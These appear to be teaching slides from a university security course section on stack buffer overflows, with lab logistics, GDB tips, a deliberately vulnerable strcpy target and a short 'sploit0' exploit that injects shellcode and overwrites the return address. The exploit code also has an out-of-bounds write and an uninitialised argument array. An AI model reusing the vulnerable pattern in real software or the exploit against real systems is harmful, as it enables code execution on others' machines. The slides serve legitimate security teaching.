CSE 484 / CSE M 584

Computer Security
Section Week 2: Buffer Overflows

TA: Viktor Farkas
vfarkas@cs

Thanks to Franzi Roesner, Adrian Sham, and other contributors from previous quarters
General Lab 1 Guidance

- You can work in groups of up to 3.
- Group formation area in forum
- Make sure you have finalized your group when you send us your public key!
- Talk to us if you have trouble connecting to the server.
- The referenced readings really help.
Quick tip on ssh keys

• Mac/Linux
  – ssh-keygen -t rsa -f mykey
    • Give **us** the mykey.pub file
    • You keep mykey
  – ssh -i mykey username@server

• Windows
  – Use puttygen
General Lab 1 Guidance

• 7 targets located in `/bin/
• 7 stub sploit files located in `~/sploits/
  – Make sure your final sploits are built here!
  – As with all data, consider backing up elsewhere 😊
• Source code for targets in `~/sources
• Goal: Cause targets (which run as a special user) to execute shellcode to get a different user’s shell.
• Make sure each sploit references the correct target!
General Lab 1 Guidance

• We provide the shellcode.
  – Some of “Smashing the Stack for Fun and Profit” describes how it was generated. **You don’t need to do this part.** Just write it into buffer.

• You need to **hard-code addresses** into your solutions. (Don’t use get_sp().)

• **NOP sleds** are needed when you don’t know exact address of your buffer. You’ll know the exact address in this lab.

• Copying will **stop at a null byte** (00) in the buffer.
Lab 1 Deadlines

START EARLY!

Some of the exploits are complex.

Checkpoint deadline (Sploits 1-3): **October 14th, 5pm**

Final deadline (Sploits 4-7): **October 31st, 5pm**
Memory layout

Loading

When the OS loads a program, it:

- creates an address space
- inspects the executable file to see what’s in it
- (lazily) copies regions of the file into the right place in the address space
- does any final linking, relocation, or other needed preparation

Stack Frame Structure

Lower Addresses

- Code executes (and buffer is written) this way

- Stack grows this way

Higher Addresses

Stack Frame

- Stack Pointer (ESP)
- Frame Pointer (EBP)

Function Arguments

- Saved Frame Pointer
- Saved EIP (Return Address)

Local Variables

- 4 bytes (1 word)
int foo(char *argv[]) {
    char buf[320];
    strcpy(buf, argv[1]);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "target1: argc != 2\n");
        exit(EXIT_FAILURE);
    }
    foo(argv);
    return 0;
}
Sploit0

• Construct buffer that:
  – Contains shellcode.
  – Exceeds expected size (320).
  – Overwrites return address on stack with address of shellcode.

• Demo
GDB is your friend

• To execute sploitX and use symbols of targetX:
  Run this command from your home dir:
  \texttt{cgdb -- -d sources -s /bin/targetX sploits/sploitX}

• Then, to set breakpoint in targetX’s main():
  \textbf{catch exec} \quad \leftarrow \quad \text{Break when exec’d into a new process}
  \textbf{run} \quad \leftarrow \quad \text{Start program}
  \textbf{break main} \quad \leftarrow \quad \text{When breaks: Set desired breakpoint}
  \textbf{continue} \quad \leftarrow \quad \text{Continue running (will break at main())}
Other Useful GDB Commands

- **step**: execute next source code line
- **next**: step over function
- **steipi**: execute next assembly instruction
- **list**: display source code
- **disassemble**: disassemble specified function
- **x**: inspect memory
  - e.g., 20 words at address: `x/20wx 0xbfffd4`
- **info register**: inspect current register values
- **info frame**: info about current stack frame
- **p**: inspect variable
  - e.g., `p &buf` or `p buf`
- **ctrl-x + ctrl-a**: Toggle split screen for gdb
Sploit0

int main(void)
{
    char *args[3];
    char *env[1];
    char buf[329];  // 320 for size of the buffer + 4 for sp + 4 for ret_addr + 1 for null byte at the end to stop copying
    memset(buf, 0x90, sizeof(buf) - 1);  // NOPs to make sure no null bytes
    buf[329] = 0;  // make sure copying stops when you expect

    memcpy(buf, shellcode, sizeof(shellcode) - 1);  // at beginning of buffer
    // overwrite return address (at buf+324)
    // with address of shellcode (start of buffer)
    *(unsigned int *)(buf + 324) = 0xfffffde1;

    env[0] = NULL;

    if (0 > execve(TARGET, args, env))
        perror("execve failed");

    return 0;
}